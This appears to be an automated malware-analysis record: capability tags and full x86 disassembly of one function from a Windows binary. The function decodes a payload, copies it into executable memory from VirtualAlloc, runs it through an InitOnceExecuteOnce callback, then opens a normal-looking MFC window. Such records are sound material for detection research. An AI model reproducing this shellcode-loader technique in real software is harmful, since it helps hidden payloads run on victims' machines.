Function at 0x401970
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52ca20
mov eax, dword fs:[0]
push eax
sub esp, 0x388
mov eax, dword [0x578b60]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x7530
mov dword [ebp - 0x380], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea edi, [ebx + 0xd]
mov eax, str.www.baidu.com
lea esi, [ebp - 0x20c]
mov dword [ebp - 0x1f8], 0xf
mov dword [ebp - 0x1fc], ebx
mov byte [ebp - 0x20c], bl
call fcn.00402a20
mov dword [ebp - 4], ebx
lea edi, [ebx + 0xc]
mov eax, str.www.bing.com
lea esi, [ebp - 0x1d4]
mov dword [ebp - 0x1c0], 0xf
mov dword [ebp - 0x1c4], ebx
mov byte [ebp - 0x1d4], bl
call fcn.00402a20
mov byte [ebp - 4], 1
lea edi, [ebx + 3]
mov eax, 0x558730
lea esi, [ebp - 0x1b8]
mov dword [ebp - 0x37c], ebx
mov dword [ebp - 0x384], ebx
mov dword [ebp - 0x1a4], 0xf
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 0x1b8], bl
call fcn.00402a20
mov byte [ebp - 4], 2
mov eax, 0x558734
lea esi, [ebp - 0x180]
mov dword [ebp - 0x16c], 0xf
mov dword [ebp - 0x170], ebx
mov byte [ebp - 0x180], bl
call fcn.00402a20
mov byte [ebp - 4], 3
mov eax, 0x558738
lea esi, [ebp - 0x148]
mov dword [ebp - 0x134], 0xf
mov dword [ebp - 0x138], ebx
mov byte [ebp - 0x148], bl
call fcn.00402a20
mov byte [ebp - 4], 4
lea edi, [ebx + 2]
mov eax, 0x55873c
lea esi, [ebp - 0x110]
mov dword [ebp - 0xfc], 0xf
mov dword [ebp - 0x100], ebx
mov byte [ebp - 0x110], bl
call fcn.00402a20
mov byte [ebp - 4], 5
lea edi, [ebx + 3]
mov eax, 0x558740
lea esi, [ebp - 0xf4]
mov dword [ebp - 0xe0], 0xf
mov dword [ebp - 0xe4], ebx
mov byte [ebp - 0xf4], bl
call fcn.00402a20
mov byte [ebp - 4], 6
mov eax, 0x558744
lea esi, [ebp - 0x19c]
mov dword [ebp - 0x188], 0xf
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 0x19c], bl
call fcn.00402a20
mov byte [ebp - 4], 7
mov dword [ebp - 0x118], 0xf
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
lea edi, [ebx + 2]
mov eax, 0x558748
lea esi, [ebp - 0x12c]
call fcn.00402a20
mov byte [ebp - 4], 8
lea edi, [ebx + 0xa]
mov eax, str.Client.bin
lea esi, [ebp - 0x164]
mov dword [ebp - 0x150], 0xf
mov dword [ebp - 0x154], ebx
mov byte [ebp - 0x164], bl
call fcn.00402a20
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x27c]
push ecx
mov byte [ebp - 4], 9
call fcn.00402ec0
mov ecx, eax
lea eax, [ebp - 0x180]
lea edi, [ebp - 0x298]
mov byte [ebp - 4], 0xa
call fcn.00402f80
push eax
mov eax, 0x558764
lea esi, [ebp - 0x378]
mov byte [ebp - 4], 0xb
call fcn.00403000
mov ecx, eax
lea eax, [ebp - 0x148]
lea edi, [ebp - 0x35c]
mov byte [ebp - 4], 0xc
call fcn.00402f80
push eax
mov eax, 0x558760
lea esi, [ebp - 0x324]
mov byte [ebp - 4], 0xd
call fcn.00403000
mov ecx, eax
lea eax, [ebp - 0x110]
lea edi, [ebp - 0x2ec]
mov byte [ebp - 4], 0xe
call fcn.00402f80
push eax
mov eax, 0x55875c
lea esi, [ebp - 0x2b4]
mov byte [ebp - 4], 0xf
call fcn.00403000
mov ecx, eax
lea eax, [ebp - 0xf4]
lea edi, [ebp - 0x260]
mov byte [ebp - 4], 0x10
call fcn.00402f80
push eax
mov eax, 0x55875c
lea esi, [ebp - 0x244]
mov byte [ebp - 4], 0x11
call fcn.00403000
mov ecx, eax
lea eax, [ebp - 0x19c]
lea edi, [ebp - 0x228]
mov byte [ebp - 4], 0x12
call fcn.00402f80
push eax
mov eax, 0x55875c
lea esi, [ebp - 0x308]
mov byte [ebp - 4], 0x13
call fcn.00403000
mov ecx, eax
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x12c]
lea edi, [ebp - 0x340]
call fcn.00402f80
push eax
mov eax, str._._:
lea esi, [ebp - 0x2d0]
mov byte [ebp - 4], 0x15
call fcn.00403000
add esp, 0x20
mov ecx, eax
lea eax, [ebp - 0x164]
lea edi, [ebp - 0x1f0]
mov byte [ebp - 4], 0x16
call fcn.00402f80
mov byte [ebp - 4], 0x18
cmp dword [ebp - 0x2bc], 0x10
jb 0x401cc6
mov edx, dword [ebp - 0x2d0]
push edx
call fcn.00403c65
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x2bc], edi
mov dword [ebp - 0x2c0], ebx
mov byte [ebp - 0x2d0], bl
mov esi, 0x10
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x32c], esi
jb 0x401cfd
mov eax, dword [ebp - 0x340]
push eax
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x32c], edi
mov dword [ebp - 0x330], ebx
mov byte [ebp - 0x340], bl
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x2f4], esi
jb 0x401d2a
mov ecx, dword [ebp - 0x308]
push ecx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x2f4], edi
mov dword [ebp - 0x2f8], ebx
mov byte [ebp - 0x308], bl
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x214], esi
jb 0x401d57
mov edx, dword [ebp - 0x228]
push edx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x214], edi
mov dword [ebp - 0x218], ebx
mov byte [ebp - 0x228], bl
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x230], esi
jb 0x401d84
mov eax, dword [ebp - 0x244]
push eax
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x230], edi
mov dword [ebp - 0x234], ebx
mov byte [ebp - 0x244], bl
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x24c], esi
jb 0x401db1
mov ecx, dword [ebp - 0x260]
push ecx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x24c], edi
mov dword [ebp - 0x250], ebx
mov byte [ebp - 0x260], bl
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x2a0], esi
jb 0x401dde
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x2a0], edi
mov dword [ebp - 0x2a4], ebx
mov byte [ebp - 0x2b4], bl
mov byte [ebp - 4], 0x1f
cmp dword [ebp - 0x2d8], esi
jb 0x401e0b
mov eax, dword [ebp - 0x2ec]
push eax
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x2d8], edi
mov dword [ebp - 0x2dc], ebx
mov byte [ebp - 0x2ec], bl
mov byte [ebp - 4], 0x20
cmp dword [ebp - 0x310], esi
jb 0x401e38
mov ecx, dword [ebp - 0x324]
push ecx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x310], edi
mov dword [ebp - 0x314], ebx
mov byte [ebp - 0x324], bl
mov byte [ebp - 4], 0x21
cmp dword [ebp - 0x348], esi
jb 0x401e65
mov edx, dword [ebp - 0x35c]
push edx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x348], edi
mov dword [ebp - 0x34c], ebx
mov byte [ebp - 0x35c], bl
mov byte [ebp - 4], 0x22
cmp dword [ebp - 0x364], esi
jb 0x401e92
mov eax, dword [ebp - 0x378]
push eax
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x364], edi
mov dword [ebp - 0x368], ebx
mov byte [ebp - 0x378], bl
mov byte [ebp - 4], 0x23
cmp dword [ebp - 0x284], esi
jb 0x401ebf
mov ecx, dword [ebp - 0x298]
push ecx
call fcn.00403c65
add esp, 4
mov dword [ebp - 0x284], edi
mov dword [ebp - 0x288], ebx
mov byte [ebp - 0x298], bl
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x268], esi
jb 0x401eec
mov edx, dword [ebp - 0x27c]
push edx
call fcn.00403c65
add esp, 4
mov eax, dword [ebp - 0x1f0]
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x26c], ebx
mov byte [ebp - 0x27c], bl
cmp dword [ebp - 0x1dc], esi
jae 0x401f12
lea eax, [ebp - 0x1f0]
lea edx, [ebp - 0xd8]
sub edx, eax
lea ebx, [ebx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x401f20
lea eax, [ebp - 0x37c]
push eax
lea ecx, [ebp - 0x384]
lea edx, [ebp - 0xd8]
call fcn.004016c0
mov ecx, dword [ebp - 0x384]
add esp, 4
push 0x40
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x37c]
push edx
push ecx
push eax
mov dword [ebp - 0x388], eax
call fcn.0050ef40
mov eax, dword [ebp - 0x388]
add esp, 0xc
lea edx, [ebp - 0x388]
push edx
push ebx
push eax
lea ecx, [ebp - 0x38c]
push ecx
mov dword [ebp - 0x38c], ebx
call dword [sym.imp.KERNEL32.dll_InitOnceExecuteOnce]
mov edx, dword [ebp - 0x37c]
push edx
call fcn.00403c65
add esp, 4
lea eax, [ebp - 0x394]
push eax
mov dword [ebp - 0x394], 8
mov dword [ebp - 0x390], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, dword [ebp - 0x380]
call fcn.004189d1
push ebx
call fcn.00419ed1
test eax, eax
jne 0x4021d2
push 0xffffffffffffffff
push ebx
push 0x68
call fcn.0041a2b3
mov byte [ebp - 4], 9
cmp dword [ebp - 0x1dc], esi
jb 0x402007
mov ecx, dword [ebp - 0x1f0]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 8
mov dword [ebp - 0x1dc], edi
mov dword [ebp - 0x1e0], ebx
mov byte [ebp - 0x1f0], bl
cmp dword [ebp - 0x150], esi
jb 0x402034
mov edx, dword [ebp - 0x164]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 7
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x154], ebx
mov byte [ebp - 0x164], bl
cmp dword [ebp - 0x118], esi
jb 0x402061
mov eax, dword [ebp - 0x12c]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 6
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
cmp dword [ebp - 0x188], esi
jb 0x40208e
mov ecx, dword [ebp - 0x19c]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 5
mov dword [ebp - 0x188], edi
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 0x19c], bl
cmp dword [ebp - 0xe0], esi
jb 0x4020bb
mov edx, dword [ebp - 0xf4]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 4
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xe4], ebx
mov byte [ebp - 0xf4], bl
cmp dword [ebp - 0xfc], esi
jb 0x4020e8
mov eax, dword [ebp - 0x110]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 3
mov dword [ebp - 0xfc], edi
mov dword [ebp - 0x100], ebx
mov byte [ebp - 0x110], bl
cmp dword [ebp - 0x134], esi
jb 0x402115
mov ecx, dword [ebp - 0x148]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 2
mov dword [ebp - 0x134], edi
mov dword [ebp - 0x138], ebx
mov byte [ebp - 0x148], bl
cmp dword [ebp - 0x16c], esi
jb 0x402142
mov edx, dword [ebp - 0x180]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 1
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x170], ebx
mov byte [ebp - 0x180], bl
cmp dword [ebp - 0x1a4], esi
jb 0x40216f
mov eax, dword [ebp - 0x1b8]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], bl
mov dword [ebp - 0x1a4], edi
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 0x1b8], bl
cmp dword [ebp - 0x1c0], esi
jb 0x40219b
mov ecx, dword [ebp - 0x1d4]
push ecx
call fcn.00403c65
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1c4], ebx
mov byte [ebp - 0x1d4], bl
cmp dword [ebp - 0x1f8], esi
jb 0x4021cb
mov edx, dword [ebp - 0x20c]
push edx
call fcn.00403c65
add esp, 4
xor eax, eax
jmp 0x40273a
call fcn.0041a46d
test eax, eax
jne 0x4023d3
push 0xffffffffffffffff
push ebx
push 0x64
call fcn.0041a2b3
mov byte [ebp - 4], 9
cmp dword [ebp - 0x1dc], esi
jb 0x402204
mov eax, dword [ebp - 0x1f0]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 8
mov byte [ebp - 0x1f0], bl
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], edi
cmp dword [ebp - 0x150], esi
jb 0x402231
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 7
mov byte [ebp - 0x164], bl
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x150], edi
cmp dword [ebp - 0x118], esi
jb 0x40225e
mov edx, dword [ebp - 0x12c]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 6
mov byte [ebp - 0x12c], bl
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], edi
cmp dword [ebp - 0x188], esi
jb 0x40228b
mov eax, dword [ebp - 0x19c]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 5
mov byte [ebp - 0x19c], bl
mov dword [ebp - 0x18c], ebx
mov dword [ebp - 0x188], edi
cmp dword [ebp - 0xe0], esi
jb 0x4022b8
mov ecx, dword [ebp - 0xf4]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 4
mov byte [ebp - 0xf4], bl
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], edi
cmp dword [ebp - 0xfc], esi
jb 0x4022e5
mov edx, dword [ebp - 0x110]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 3
mov byte [ebp - 0x110], bl
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0xfc], edi
cmp dword [ebp - 0x134], esi
jb 0x402312
mov eax, dword [ebp - 0x148]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 2
mov byte [ebp - 0x148], bl
mov dword [ebp - 0x138], ebx
mov dword [ebp - 0x134], edi
cmp dword [ebp - 0x16c], esi
jb 0x40233f
mov ecx, dword [ebp - 0x180]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 1
mov byte [ebp - 0x180], bl
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], edi
cmp dword [ebp - 0x1a4], esi
jb 0x40236c
mov edx, dword [ebp - 0x1b8]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], bl
mov byte [ebp - 0x1b8], bl
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x1a4], edi
cmp dword [ebp - 0x1c0], esi
jb 0x402398
mov eax, dword [ebp - 0x1d4]
push eax
call fcn.00403c65
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1c4], ebx
mov byte [ebp - 0x1d4], bl
cmp dword [ebp - 0x1f8], esi
jb 0x4021cb
mov ecx, dword [ebp - 0x20c]
push ecx
call fcn.00403c65
add esp, 4
xor eax, eax
jmp 0x40273a
push ebx
call fcn.0041ad0f
mov ecx, dword [ebp - 0x380]
add esp, 4
push ebx
call fcn.00419310
mov ecx, dword [ebp - 0x380]
push 0x55876c
call fcn.00418e1a
push 0x1f0
call fcn.00403c2b
add esp, 4
mov dword [ebp - 0x37c], eax
mov byte [ebp - 4], 0x25
cmp eax, ebx
je 0x40243d
mov ecx, eax
call fcn.00403ce5
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x37c]
lea ecx, [eax + 0x114]
mov dword [eax], vtable.CMainFrame.0
call fcn.00414b69
mov ecx, dword [ebp - 0x37c]
jmp 0x40243f
xor ecx, ecx
mov byte [ebp - 4], 0x24
cmp ecx, ebx
jne 0x402635
mov byte [ebp - 4], 9
cmp dword [ebp - 0x1dc], esi
jb 0x402466
mov edx, dword [ebp - 0x1f0]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 8
mov dword [ebp - 0x1dc], edi
mov dword [ebp - 0x1e0], ebx
mov byte [ebp - 0x1f0], bl
cmp dword [ebp - 0x150], esi
jb 0x402493
mov eax, dword [ebp - 0x164]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 7
mov dword [ebp - 0x150], edi
mov dword [ebp - 0x154], ebx
mov byte [ebp - 0x164], bl
cmp dword [ebp - 0x118], esi
jb 0x4024c0
mov ecx, dword [ebp - 0x12c]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 6
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x11c], ebx
mov byte [ebp - 0x12c], bl
cmp dword [ebp - 0x188], esi
jb 0x4024ed
mov edx, dword [ebp - 0x19c]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 5
mov dword [ebp - 0x188], edi
mov dword [ebp - 0x18c], ebx
mov byte [ebp - 0x19c], bl
cmp dword [ebp - 0xe0], esi
jb 0x40251a
mov eax, dword [ebp - 0xf4]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 4
mov dword [ebp - 0xe0], edi
mov dword [ebp - 0xe4], ebx
mov byte [ebp - 0xf4], bl
cmp dword [ebp - 0xfc], esi
jb 0x402547
mov ecx, dword [ebp - 0x110]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 3
mov dword [ebp - 0xfc], edi
mov dword [ebp - 0x100], ebx
mov byte [ebp - 0x110], bl
cmp dword [ebp - 0x134], esi
jb 0x402574
mov edx, dword [ebp - 0x148]
push edx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 2
mov dword [ebp - 0x134], edi
mov dword [ebp - 0x138], ebx
mov byte [ebp - 0x148], bl
cmp dword [ebp - 0x16c], esi
jb 0x4025a1
mov eax, dword [ebp - 0x180]
push eax
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], 1
mov dword [ebp - 0x16c], edi
mov dword [ebp - 0x170], ebx
mov byte [ebp - 0x180], bl
cmp dword [ebp - 0x1a4], esi
jb 0x4025ce
mov ecx, dword [ebp - 0x1b8]
push ecx
call fcn.00403c65
add esp, 4
mov byte [ebp - 4], bl
mov dword [ebp - 0x1a4], edi
mov dword [ebp - 0x1a8], ebx
mov byte [ebp - 0x1b8], bl
cmp dword [ebp - 0x1c0], esi
jb 0x4025fa
mov edx, dword [ebp - 0x1d4]
push edx
call fcn.00403c65
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c0], edi
mov dword [ebp - 0x1c4], ebx
mov byte [ebp - 0x1d4], bl
cmp dword [ebp - 0x1f8], esi
jb 0x4021cb
mov eax, dword [ebp - 0x20c]
push eax
call fcn.00403c65
add esp, 4
xor eax, eax
jmp 0x40273a
mov edx, dword [ebp - 0x380]
push ebx
push ebx
mov dword [edx + 0x20], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0x164]
push 0xcf8000
push 0x80
call edx
test eax, eax
je 0x4021e9
call fcn.0041ba7b
mov esi, dword [eax + 0xc]
push 0x82
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
mov edi, dword [ebp - 0x380]
push 0x82
push esi
mov dword [edi + 0x10c], eax
call dword [sym.imp.USER32.dll_LoadAcceleratorsA]
lea esi, [ebp - 0x1f0]
mov dword [edi + 0x110], eax
mov byte [ebp - 4], 9
call fcn.004029f0
lea esi, [ebp - 0x164]
mov byte [ebp - 4], 8
call fcn.004029f0
lea esi, [ebp - 0x12c]
mov byte [ebp - 4], 7
call fcn.004029f0
lea esi, [ebp - 0x19c]
mov byte [ebp - 4], 6
call fcn.004029f0
lea esi, [ebp - 0xf4]
mov byte [ebp - 4], 5
call fcn.004029f0
lea esi, [ebp - 0x110]
mov byte [ebp - 4], 4
call fcn.004029f0
lea esi, [ebp - 0x148]
mov byte [ebp - 4], 3
call fcn.004029f0
lea esi, [ebp - 0x180]
mov byte [ebp - 4], 2
call fcn.004029f0
lea esi, [ebp - 0x1b8]
mov byte [ebp - 4], 1
call fcn.004029f0
lea esi, [ebp - 0x1d4]
mov byte [ebp - 4], bl
call fcn.004029f0
lea esi, [ebp - 0x20c]
mov dword [ebp - 4], 0xffffffff
call fcn.004029f0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00509d41
mov esp, ebp
pop ebp
ret